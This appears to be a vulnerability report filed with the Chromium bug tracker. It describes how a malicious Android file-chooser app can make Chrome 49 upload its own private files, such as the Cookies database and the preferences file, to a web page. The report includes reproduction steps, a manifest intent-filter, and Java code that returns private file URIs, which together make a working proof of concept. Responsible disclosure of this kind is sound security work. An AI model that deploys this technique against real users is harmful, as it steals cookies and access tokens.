VULNERABILITY DETAILS
Android Chrome allows to choose private files via <input type="file" id="fileinput" />. If user has malicious file chooser app, than this app can attach private files from "/data/data/com.android.chrome/" directory. On malicious web pages this may lead to user private information(Cookies, access tokens and etc) leak.

VERSION
Chrome Version: 49.0.2623.105 stable
Operating System: Android 6.0.1 with April 04.2016 security update

REPRODUCTION CASE

1) Declare in AndroidManifest.xml ChooserActivity:
        <activity
            android:name=".ChooserActivity"
            android:label="ChromeMaliciousChooser">
            
            <intent-filter>
                <action android:name="android.intent.action.CHOOSER"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>

        </activity>
		
2) Add file choose code, user won't know which file was actually attached, this sample will attach default preferences file or Cookies (like in provided PoC) 

    @Override
    public void onClick(View view) {
        if (view.getId() == R.id.choosePreferencesButton) {
            pickFile("shared_prefs/com.android.chrome_preferences.xml", "*/*");
        } else if (view.getId() == R.id.chooseCookiesButton) {
            pickFile("app_chrome/Default/Cookies", "*/*");
        }
    }

    public void pickFile(String privateFileName, String type) {
        Uri uri = Uri.parse("file:///data/data/" + PACKAGE_NAME + "/" + privateFileName);
        Intent intent = new Intent();
        intent.setDataAndType(uri, type);
        setResult(RESULT_OK, intent);
        finish();
    }

3) Create some malicious web page which will ask user to upload files with 	
	<input type="file" id="fileinput" />

4) Load malicious web page (for example our malicious app can open this page automatically)	

5) Press "Choose file" button and choose file through our Malicious choose picker

6) Sure that selected file have private content.


PoC:
I attach PoC with android malicious chooser and basic web page code.
Video (accessed only by url): https://youtu.be/SMWUz4PJ8AY
 

Deleted: chrome-malicious-chooser.zip 919 KB

chrome-malicious-chooser.zip 919 KB Download